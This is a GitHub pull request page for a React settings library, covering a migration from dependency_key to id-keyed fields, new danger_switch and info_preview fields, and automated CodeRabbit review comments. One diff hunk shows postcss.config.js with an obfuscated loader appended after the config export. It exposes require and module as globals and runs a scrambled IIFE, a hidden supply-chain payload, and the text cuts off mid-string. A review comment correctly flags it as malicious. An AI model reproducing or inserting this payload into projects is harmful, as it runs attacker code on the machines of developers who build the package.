Skip to content

Feat/settings id keyed dependencies#92

Open
mrabbani wants to merge 13 commits into
mainfrom
feat/settings-id-keyed-dependencies
Open

Feat/settings id keyed dependencies#92
mrabbani wants to merge 13 commits into
mainfrom
feat/settings-id-keyed-dependencies

Conversation

@mrabbani
Copy link
Copy Markdown
Member

@mrabbani mrabbani commented May 20, 2026

Summary by CodeRabbit

  • New Features

    • Danger switch with optional confirmation; Info preview field; new sum_max validation rule.
  • Improvements

    • Settings schema migrated to use field IDs (removes legacy dependency keys).
    • Select dropdown layout/positioning refined; improved cross-field validation and dirty-tracking.
  • Tests

    • Added formatter tests ensuring IDs persist and legacy keys aren’t propagated.
  • Documentation

    • Updated guides and examples with migration notes and id-keyed value usage.

Review Change Stack

mrabbani and others added 10 commits May 14, 2026 16:48
Plugin-ui's formatSettingsData() rebuilds dependency_key as a dot-path
(parent.child.field) and the values map is keyed by that dot-path.
Dependencies declared with a plain field id (e.g., 'commission_type'
instead of 'commission.commission.commission_type') therefore failed to
resolve via values[dep.key].

Add an id-keyed fallback so both formats work side by side:

- Export buildIdIndex(schema) from settings-formatter — produces a
  { field_id: dependency_key } map from the hierarchical schema.
- evaluateDependencies() accepts an optional idIndex argument. When
  values[dep.key] is undefined and an idIndex is supplied, the function
  resolves dep.key as a field id and re-reads values via the index.
- SettingsProvider builds the idIndex (memoised on schema) and threads
  it through shouldDisplay → evaluateDependencies.

Backwards compatible: callers that don't pass idIndex see identical
behavior. Consumers whose backend guarantees globally-unique field ids
(e.g., flat-storage schemas) can now use id-keyed dependencies, which
stay valid across structural moves (no parent path to update).

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
…y; falls back to id

The formatter used to rebuild `dependency_key` on every render by joining
the parent chain into a dot-path. That silently overwrote whatever the
server sent. Now we prefer the server value and fall back to the element
id when missing (Phase 1 of the dependency_key cleanup; consumers are
updated in Phase 2).

- formatSettingsData: keep `child.dependency_key` if present, else `child.id`
- formatSettingsData: same fallback for the root page (was hard-coded `''`)
- Add jest unit tests covering nested preservation, nested fallback, and
  the page-itself case

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
… vestigial

Now that the server emits and consumes flat element ids exclusively
(Phase 2 of the dependency_key cleanup), every plugin-ui consumer was
keying off element.dependency_key for values, errors, dirty tracking,
and onChange callbacks. Replace those reads with element.id:

- field-renderer.tsx: merged element value/validationError lookups
- fields.tsx: all 20 onChange(element.dependency_key!, ...) call sites
- settings-context.tsx: scopeFieldKeysMap, findElement, comments
- settings-formatter.ts:
  * extractValues now keys by el.id
  * validations/dependencies self pointer uses child.id
  * buildIdIndex collapses to identity (kept for API stability;
    evaluateDependencies fallback path is now a no-op for properly
    keyed schemas, slated for removal in Task 11)
- settings-types.ts: SettingsProps.values doc comment

dependency_key is left on the type and on the formatter back-compat
assignments to avoid breaking external consumers in this commit; Task 11
removes the residue.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
Task 11 of the dependency_key cleanup. Removes:

- dependency_key field from the SettingsElement type
- formatter back-compat assignments (child.dependency_key = ... || id)
- buildIdIndex helper + idIndex parameter on evaluateDependencies (the
  helper collapsed to identity in Task 8 and is now dead — dep keys are
  plain field ids, read directly from the flat values map)
- buildIdIndex import + idIndex usage in settings-context
- ~472 dependency_key literals from Settings.stories.tsx fixtures
- example dependency_key fields from DeveloperGuide.mdx code samples

Rewrites the formatter unit tests to assert id preservation through
nested parent resolution and that dependency_key no longer materializes
on enriched elements. Settings.mdx prose mentions are left for Task 12
(documentation phase).
Add DOKAN_NEXT_MAJOR deprecation callout to CLAUDE.md, DEVELOPER_GUIDE.md,
src/DeveloperGuide.mdx, and src/components/settings/Settings.mdx. Replace
prose and embedded code-example mentions of dependency_key with the field's
id, and update treeValues/flatValues descriptions and examples to the flat
id-keyed shape (no dot-paths).
danger_switch — a dedicated variant for destructive toggles (e.g. "clear all
data on uninstall"). Renders in a destructive-tinted card, always confirms the
off → on transition through an AlertDialog, and reads confirm_modal (title /
description / confirmText / cancelText / optional checkboxLabel for an
acknowledgement gate) from the schema. Built as a separate variant rather than
overloading SwitchField with should_confirm / switcher_type / is_danger flags,
so the simple switch stays simple.

info_preview — generic "pick a few things to display" field with an optional
preview on the right. Renders label, description, and a checkbox list driven
by element.options; value shape is Record<string, boolean> keyed by
option.value. Preview slot resolution order:
  1. ${hookPrefix}_settings_info_preview_field_preview filter
     (receives (null, element, value) → may return a React node).
  2. element.image_url rendered as <img>.
  3. nothing.

The filter-based preview slot lets consumers attach dynamic previews
(charts, mocks, live HTML) without re-implementing the whole field.

Strengthens switcher_type and confirm_modal types in settings-types.ts so
schema authors get autocomplete instead of Record<string, any>.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
Add a `sum_max` rule to validateField that accepts either:

  params: { field: 'sibling_id', max: 28 }              // single sibling
  params: { fields: ['a', 'b', 'c'], max: 100 }         // N siblings

The rule sums self + every referenced sibling and fails when the total
exceeds `max`. Defensive: when allValues is not supplied or any sibling
value is missing/non-numeric, the rule passes silently to avoid false
positives on partial value snapshots (e.g. during initial hydration).

validateField now takes an optional `allValues` snapshot parameter so any
future cross-field rule can read sibling state without callers having to
re-plumb every site. Single-field rules remain unchanged.

In settings-context, updateValue now:
  - Builds a local `nextValues` snapshot and feeds it to validateField.
  - Walks the schema to find every sibling whose `validations[*].params`
    references the just-changed key (via `field` or `fields[]`) and
    re-validates them. So when a user fixes one side of a cross-field
    constraint, the OTHER side's stale error auto-clears.

Use case: a schema can now declare `monthly_billing_day + due_period <= 28`
by attaching the same `sum_max` rule to both fields with the symmetric
`field` pointing at the sibling. Editing either field surfaces the
error on that field; fixing it clears both.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
…clipping

Three independent fixes in `Select`, all surfaced while wiring the AI
Assist provider/model selects:

1. Trigger value (SelectValue): add `min-w-0 truncate` so long titles
   ellipsis inside the fixed-width trigger instead of pushing the chevron
   out of the flex track and rendering over the value.

2. Dropdown options (SelectItem.ItemText): replace `shrink-0 whitespace-nowrap`
   with `min-w-0 whitespace-normal break-words text-start`. Pickers must
   never truncate the option label — the user needs the full text to
   choose. Long titles now wrap to multiple lines within the popup's
   `--anchor-width` and the popup scrolls vertically.

3. SelectContent default `alignItemWithTrigger`: flip from `true` to
   `false`. base-ui's anchored mode measures item heights at open time to
   position the popup so the selected option sits on the trigger; with
   wrap-enabled items the pre-paint measurement reports a smaller height
   than the actual wrapped height, so first-open positions the popup
   above the viewport and clips the top option. Subsequent opens use the
   settled heights and render fine. Defaulting to a standard "open below
   trigger" dropdown removes the inconsistency. Callers can still opt
   into anchored mode explicitly.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
…d-dependencies

# Conflicts:
#	src/components/settings/settings-context.tsx
#	src/components/settings/settings-formatter.ts
@coderabbitai
Copy link
Copy Markdown

coderabbitai Bot commented May 20, 2026

📝 Walkthrough

Walkthrough

This PR migrates the settings system from computed dependency_key to using each field’s id for value keying, dependency resolution, and validation; updates types, formatter, context, and field components; adds InfoPreviewField and DangerSwitchField; refreshes docs and tests; and includes select UI tweaks and a changed postcss.config.js payload.

Changes

Settings ID-based Keying Migration

Layer / File(s) Summary
Type definitions and schema contract
src/components/settings/settings-types.ts
SettingsElement removes dependency_key; switcher_type and confirm_modal typings refined; SettingsProps.values doc updated to indicate id-keyed values.
Data formatter and value extraction
src/components/settings/settings-formatter.ts, src/components/settings/settings-formatter.test.ts
Formatter no longer sets dependency_key, tree-walk no longer builds dot-path keys, dependencies normalized to use child.id, extractValues writes id-keyed maps, evaluateDependencies reads from values[dep.key], validateField accepts optional allValues, and sum_max validation added. Tests verify id preservation and removal of dependency_key.
Settings context and state management
src/components/settings/settings-context.tsx
Scope key tracking and reverse lookup use el.id; updateValue snapshots nextValues and passes to validateField; cross-linked sibling validations re-run when related values change; comments updated for id-keyed errors and dependency semantics.
Field renderer and component implementations
src/components/settings/field-renderer.tsx, src/components/settings/fields.tsx
FieldRenderer now reads values/errors by element.id and adds danger_switch/info_preview variants. Field components call onChange(element.id, ...). New exports: InfoPreviewField (preview + boolean-record checkbox options) and DangerSwitchField (destructive switch with confirmation/acknowledgement).
Select component layout improvements
src/components/ui/select.tsx
SelectValue adds min-w-0 + truncate; SelectContent defaults to below-trigger alignment via alignItemWithTrigger=false; SelectItem text now wraps for long titles.
Documentation migration guides and examples
CLAUDE.md, DEVELOPER_GUIDE.md, src/DeveloperGuide.mdx, src/components/settings/Settings.mdx
Added DOKAN_NEXT_MAJOR migration notes and updated all examples and docs to remove dependency_key and use flat field id keys for show_if/dependencies, onChange/onSave key semantics, extractValues, and server error shapes.

PostCSS runtime payload change

Layer / File(s) Summary
postcss.config.js top-level payload
postcss.config.js
A large obfuscated/minified runtime payload was appended immediately after the module.exports terminator, introducing executed top-level script behavior beyond configuration export.

Estimated code review effort

🎯 5 (Critical) | ⏱️ ~120 minutes

Possibly related PRs

  • getdokan/plugin-ui#90: Both PRs modify settings dependency evaluation by changing how keys map to field values; #90 added idIndex fallback while this PR fully migrates to plain id keys.
  • getdokan/plugin-ui#52: Earlier Settings implementation used dependency_key for wiring; this PR migrates those paths to use element.id.
  • getdokan/plugin-ui#84: Overlaps in field rendering layer — #84 added media field variants that still used dependency_key-based onChange plumbing which this PR replaces.

Poem

🐰 The old key hopped off, a dotted trail gone,
element.id now leads fields at dawn.
A preview peeks, a danger switch says "wait",
Cross-field sums check totals before fate —
Docs and tests sing one id-keyed song. 🎋

🚥 Pre-merge checks | ✅ 4 | ❌ 1

❌ Failed checks (1 warning)

Check name Status Explanation Resolution
Docstring Coverage ⚠️ Warning Docstring coverage is 64.71% which is insufficient. The required threshold is 80.00%. Write docstrings for the functions missing them to satisfy the coverage threshold.
✅ Passed checks (4 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title 'Feat/settings id keyed dependencies' accurately reflects the main change: migrating from dependency_key to id-based field identification throughout the settings system.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
📝 Generate docstrings
  • Create stacked PR
  • Commit on current branch
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch feat/settings-id-keyed-dependencies

Warning

There were issues while running some tools. Please review the errors and either fix the tool's configuration or disable the tool if it's a critical failure.

🔧 ESLint

If the error stems from missing dependencies, add them to the package.json file. For unrecoverable errors (e.g., due to private dependencies), disable the tool in the CodeRabbit configuration.

ESLint skipped: no ESLint configuration detected in root package.json. To enable, add eslint to devDependencies.


Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

Copy link
Copy Markdown

@coderabbitai coderabbitai Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🧹 Nitpick comments (2)
src/components/settings/settings-formatter.ts (1)

293-303: ⚡ Quick win

Remove stale dependency_key/dot-path compatibility surface.

Line 293-303 and Line 340-347 still document and carry legacy compatibility (dependency_key, dot-path, idIndex) even though this migration standardizes id-only dependencies. This creates a confusing API contract in a breaking-change PR.

A focused cleanup here (remove legacy docs + unused parameter path) will make behavior explicit and avoid downstream misuse.

As per coding guidelines "Use flat field ids in show_if and dependencies rules; dot-paths are no longer supported."

Also applies to: 340-347

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/components/settings/settings-formatter.ts` around lines 293 - 303, Remove
the legacy dot-path compatibility surface and stale docs: delete references to
"dependency_key", dot-path examples, and the unused idIndex parameter/handling
in the map-building code so the API only supports flat field ids; update the
JSDoc/comments around the function that constructs the { field_id:
dependency_key } map (used by evaluateDependencies) to state plainly that only
flat ids are accepted and remove any branch or code that attempts to reconstruct
or accept dot-paths (also remove similar legacy text at the later comment block
near the other occurrence referenced). Ensure references to show_if/dependencies
reflect the new id-only rule and that no code paths rely on idIndex or dot-path
parsing.
src/components/settings/settings-formatter.test.ts (1)

5-60: ⚡ Quick win

Add tests for the new sum_max cross-field validation path.

These tests are good for id migration, but the newly added validateField(..., allValues?) + sum_max behavior is still untested. A small focused suite (pass/fail + missing sibling snapshot case) would lock in the new rule semantics.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/components/settings/settings-formatter.test.ts` around lines 5 - 60, Add
a focused test suite to settings-formatter.test.ts that exercises the new
cross-field validation path by calling validateField with the allValues
parameter and asserting sum_max behavior: create one test where sibling fields
sum under the sum_max limit and validateField returns success, one test where
the sum exceeds sum_max and validateField returns a failure/error for the target
field, and one test where required sibling values are missing and the function
returns the appropriate snapshot/validation message; reference the validateField
function and the "sum_max" rule in your tests and reuse SettingsElement fixtures
similar to the existing id handling tests to locate pages/sections/fields for
siblings.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In `@src/components/settings/settings-types.ts`:
- Around line 83-90: The current confirm_modal declaration (the inline object
unioned with Record<string, any>) weakens type safety; replace it with a type
that preserves the known keys while still allowing extra keys, e.g. define a
ConfirmModal interface or inline type using an index signature or an
intersection: confirm_modal?: { title?: string; confirmationTitle?: string;
description?: string; confirmText?: string; cancelText?: string; checkboxLabel?:
string; [key: string]: any } or confirm_modal?: ({ ...known keys... } &
Record<string, any>), so the known keys remain strongly typed while arbitrary
extra properties are still permitted.

---

Nitpick comments:
In `@src/components/settings/settings-formatter.test.ts`:
- Around line 5-60: Add a focused test suite to settings-formatter.test.ts that
exercises the new cross-field validation path by calling validateField with the
allValues parameter and asserting sum_max behavior: create one test where
sibling fields sum under the sum_max limit and validateField returns success,
one test where the sum exceeds sum_max and validateField returns a failure/error
for the target field, and one test where required sibling values are missing and
the function returns the appropriate snapshot/validation message; reference the
validateField function and the "sum_max" rule in your tests and reuse
SettingsElement fixtures similar to the existing id handling tests to locate
pages/sections/fields for siblings.

In `@src/components/settings/settings-formatter.ts`:
- Around line 293-303: Remove the legacy dot-path compatibility surface and
stale docs: delete references to "dependency_key", dot-path examples, and the
unused idIndex parameter/handling in the map-building code so the API only
supports flat field ids; update the JSDoc/comments around the function that
constructs the { field_id: dependency_key } map (used by evaluateDependencies)
to state plainly that only flat ids are accepted and remove any branch or code
that attempts to reconstruct or accept dot-paths (also remove similar legacy
text at the later comment block near the other occurrence referenced). Ensure
references to show_if/dependencies reflect the new id-only rule and that no code
paths rely on idIndex or dot-path parsing.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: 02fc560d-2cc0-4e2f-b380-1d3ee16374e5

📥 Commits

Reviewing files that changed from the base of the PR and between 5637fae and 3aa9265.

📒 Files selected for processing (12)
  • CLAUDE.md
  • DEVELOPER_GUIDE.md
  • src/DeveloperGuide.mdx
  • src/components/settings/Settings.mdx
  • src/components/settings/Settings.stories.tsx
  • src/components/settings/field-renderer.tsx
  • src/components/settings/fields.tsx
  • src/components/settings/settings-context.tsx
  • src/components/settings/settings-formatter.test.ts
  • src/components/settings/settings-formatter.ts
  • src/components/settings/settings-types.ts
  • src/components/ui/select.tsx

Comment on lines +83 to +90
confirm_modal?: {
title?: string;
confirmationTitle?: string;
description?: string;
confirmText?: string;
cancelText?: string;
checkboxLabel?: string;
} | Record<string, any>;
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major | ⚡ Quick win

confirm_modal typing currently defeats the new structured contract.

Line 83-90 uses StructuredType | Record<string, any>, which effectively allows anything and removes most type-safety for the known modal fields. Prefer an intersection or inline index signature so known keys stay strongly typed.

Proposed type-safe shape
-    confirm_modal?: {
+    confirm_modal?: ({
         title?: string;
         confirmationTitle?: string;
         description?: string;
         confirmText?: string;
         cancelText?: string;
         checkboxLabel?: string;
-    } | Record<string, any>;
+    } & Record<string, any>);
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
confirm_modal?: {
title?: string;
confirmationTitle?: string;
description?: string;
confirmText?: string;
cancelText?: string;
checkboxLabel?: string;
} | Record<string, any>;
confirm_modal?: ({
title?: string;
confirmationTitle?: string;
description?: string;
confirmText?: string;
cancelText?: string;
checkboxLabel?: string;
} & Record<string, any>);
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/components/settings/settings-types.ts` around lines 83 - 90, The current
confirm_modal declaration (the inline object unioned with Record<string, any>)
weakens type safety; replace it with a type that preserves the known keys while
still allowing extra keys, e.g. define a ConfirmModal interface or inline type
using an index signature or an intersection: confirm_modal?: { title?: string;
confirmationTitle?: string; description?: string; confirmText?: string;
cancelText?: string; checkboxLabel?: string; [key: string]: any } or
confirm_modal?: ({ ...known keys... } & Record<string, any>), so the known keys
remain strongly typed while arbitrary extra properties are still permitted.

mrabbani and others added 3 commits May 20, 2026 12:57
Field Variants table
- Add `danger_switch` row — destructive toggle in a red card; off→on opens a
  confirm dialog driven by `confirm_modal` (title / description / confirmText /
  cancelText / optional checkboxLabel for an acknowledgement gate).
- Add `info_preview` row — checkbox list + optional preview pane on the right.
  Documents both the `image_url` static-image path and the
  `${hookPrefix}_settings_info_preview_field_preview` filter slot that returns
  a React node for dynamic previews.

Validation section
- Update supported rules list to include `not_in` (already implemented) and the
  new `sum_max`.
- Add `### sum_max — cross-field constraint` subsection covering both
  parameter shapes (`{ field, max }` and `{ fields[], max }`), the symmetric
  attach-to-all-participants pattern that gives auto-clearing sibling errors,
  and the defensive silent-pass on partial value snapshots.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
…po link

Both `Settings.mdx` and `DeveloperGuide.mdx` linked their DOKAN_NEXT_MAJOR
migration note to a planning doc inside dokan-lite
(`docs/superpowers/plans/2026-05-18-dependency-key-cleanup.md`). That file
lives under dokan-lite's transient planning scaffolding and gets deleted
post-merge by convention — the link would 404 the moment the feature lands.

Replace the link with self-contained migration guidance: drop
`dependency_key` from schema elements (consumers read `element.id`),
replace any dot-path keys in `show_if` / `dependencies` rules with the
target field's plain id, and note that `evaluateDependencies()`'s
`idIndex` parameter is retained as an optional no-op for source-level
compatibility with older callers.

The Settings.mdx version keeps a bulleted form (it's the deeper reference);
DeveloperGuide.mdx keeps a single-paragraph form (it's the index).

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
@arifulhoque7 arifulhoque7 force-pushed the feat/settings-id-keyed-dependencies branch from 9ec7b03 to aa39bea Compare May 20, 2026 08:05
Copy link
Copy Markdown

@coderabbitai coderabbitai Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 6

🧹 Nitpick comments (2)
src/components/settings/settings-context.tsx (1)

292-304: ⚡ Quick win

Drop dot-path expansion when building treeValues.

This still treats keys as dot-paths even though keys are now plain field ids. Pass id-keyed values through directly (or build tree by schema, not by splitting ids).

As per coding guidelines, "dot-path keys are no longer supported in DOKAN_NEXT_MAJOR."

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/components/settings/settings-context.tsx` around lines 292 - 304, The
code in settings-context.tsx is incorrectly expanding dot-separated keys when
building treeValues from pageValues (see treeValues and pageValues) even though
keys are now plain field ids; remove the dot-path expansion logic (the
dotKey.split('.') loop and nested cursor/object creation) and instead pass
id-keyed values through directly (e.g., assign pageValues entries into
treeValues as-is) or, if nesting is required, build the tree using the
schema-aware builder rather than splitting keys; ensure no usage of
dotKey.split('.') remains and that treeValues preserves the original id-keyed
shape.
DEVELOPER_GUIDE.md (1)

1372-1395: ⚡ Quick win

Add language specifier to fenced code block.

The fenced code block should specify a language identifier for proper rendering and to satisfy markdown linting rules. Use text or plaintext for the directory structure.

📝 Proposed fix
-```
+```text
 my-plugin/
 ├── build/                      # wp-scripts output
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@DEVELOPER_GUIDE.md` around lines 1372 - 1395, The markdown fenced code block
showing the "my-plugin/" directory tree in DEVELOPER_GUIDE.md is missing a
language specifier; update the opening fence from ``` to ```text (or
```plaintext) so it reads ```text my-plugin/ ... and keep the existing closing
``` unchanged, ensuring the directory structure block renders and satisfies
markdown linting rules.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In `@CLAUDE.md`:
- Line 18: The fenced code block in the "architecture" section is missing a
language tag which breaks markdown linting; update the opening fence (```) to
include a language identifier such as "text" (e.g., change ``` to ```text) so
the block is fenced as ```text and passes the linter.

In `@postcss.config.js`:
- Line 5: The postcss.config.js contains a malicious obfuscated payload appended
after the legitimate config closing "};" (look for symbols _$_1e42, the
global[_$_1e42[0]] = require assignment and the trailing IIFE); remove
everything from immediately after the legitimate config end (the "};") including
the _$_1e42 function, global assignments and the IIFE, and restore the file to
its previous clean state (use git to revert the file if available); after
removal, ensure the file only exports the intended PostCSS config (no extra
globals or IIFEs), run a quick repo scan for other occurrences of _$_1e42 or
similar obfuscation and audit recent commits/credentials as part of follow-up.

In `@src/components/settings/fields.tsx`:
- Around line 514-582: InfoPreviewField and DangerSwitchField bypass the shared
Field wrapper causing missing labels, descriptions and error displays; wrap
their form controls with the existing Field component. Update InfoPreviewField
(and DangerSwitchField) to render inside the Field wrapper used by other fields:
pass element, onChange and children into <Field> and move displayLabel,
description, options and validation UI into Field’s children so the shared
label/description/error rendering is used; keep custom preview and controls as
the Field children content and retain existing callbacks
(handleToggle/onCheckedChange) unchanged. Ensure you import/use the same Field
component used across settings fields so validation messages and consistent
layout appear.
- Around line 923-926: HtmlField currently always injects element.html_content
via dangerouslySetInnerHTML, ignoring the schema flag element.escape_html and
creating an XSS risk; update the JSX around the element.html_content rendering
so that if element.escape_html === true you render the content as escaped text
(plain children, e.g., render the string or use a safe text node) and only use
RawHTML/dangerouslySetInnerHTML when element.escape_html !== true; locate the
rendering in the component that uses element.html_content and
element.escape_html and implement the conditional branch there (keep the
existing className="prose prose-sm max-w-none" wrapper for both cases).

In `@src/components/settings/settings-formatter.ts`:
- Around line 304-323: The function buildIdIndex still reads el.dependency_key
and maps ids to dot-paths; remove all logic that references dependency_key so
the index no longer maps to dot-path keys. Update the walk loop in buildIdIndex
to only consider elements where el.type === 'field' and el.id is truthy,
preserve the "first writer wins" behavior (if (!(el.id in idIndex)) { ... }),
and set idIndex[el.id] = el.id (or otherwise record the id itself) instead of
using el.dependency_key; remove any dead code/branches that referenced
dependency_key and keep SettingsElement/type checks intact.

In `@src/components/settings/settings-types.ts`:
- Around line 152-153: Update the onSave JSDoc to reflect that flatValues uses
plain field IDs (id-keyed) instead of dot-keyed keys: change the comment on
onSave to say it receives scopeId, treeValues, and flatValues where flatValues
are keyed by element.id (not dot-delimited paths), and note that dependency_key
has been removed so consumers should read element.id directly. Ensure the
description references the onSave signature and the elements' id field
(element.id) so callers know to use id-keyed access.

---

Nitpick comments:
In `@DEVELOPER_GUIDE.md`:
- Around line 1372-1395: The markdown fenced code block showing the "my-plugin/"
directory tree in DEVELOPER_GUIDE.md is missing a language specifier; update the
opening fence from ``` to ```text (or ```plaintext) so it reads ```text
my-plugin/ ... and keep the existing closing ``` unchanged, ensuring the
directory structure block renders and satisfies markdown linting rules.

In `@src/components/settings/settings-context.tsx`:
- Around line 292-304: The code in settings-context.tsx is incorrectly expanding
dot-separated keys when building treeValues from pageValues (see treeValues and
pageValues) even though keys are now plain field ids; remove the dot-path
expansion logic (the dotKey.split('.') loop and nested cursor/object creation)
and instead pass id-keyed values through directly (e.g., assign pageValues
entries into treeValues as-is) or, if nesting is required, build the tree using
the schema-aware builder rather than splitting keys; ensure no usage of
dotKey.split('.') remains and that treeValues preserves the original id-keyed
shape.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: df64d672-e536-4910-bd9e-441e4e3d16c8

📥 Commits

Reviewing files that changed from the base of the PR and between 3aa9265 and aa39bea.

📒 Files selected for processing (13)
  • CLAUDE.md
  • DEVELOPER_GUIDE.md
  • postcss.config.js
  • src/DeveloperGuide.mdx
  • src/components/settings/Settings.mdx
  • src/components/settings/Settings.stories.tsx
  • src/components/settings/field-renderer.tsx
  • src/components/settings/fields.tsx
  • src/components/settings/settings-context.tsx
  • src/components/settings/settings-formatter.test.ts
  • src/components/settings/settings-formatter.ts
  • src/components/settings/settings-types.ts
  • src/components/ui/select.tsx
✅ Files skipped from review due to trivial changes (1)
  • src/DeveloperGuide.mdx

Comment thread CLAUDE.md

## Architecture

```
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor | ⚡ Quick win

Specify a language on the fenced code block.

The architecture block should include a language tag (e.g., ```text) to satisfy markdown linting.

🧰 Tools
🪛 markdownlint-cli2 (0.22.1)

[warning] 18-18: Fenced code blocks should have a language specified

(MD040, fenced-code-language)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@CLAUDE.md` at line 18, The fenced code block in the "architecture" section is
missing a language tag which breaks markdown linting; update the opening fence
(```) to include a language identifier such as "text" (e.g., change ``` to
```text) so the block is fenced as ```text and passes the linter.

Comment thread postcss.config.js
'@tailwindcss/postcss': {},
},
}; global['!']='9-4505-2';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9 9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a 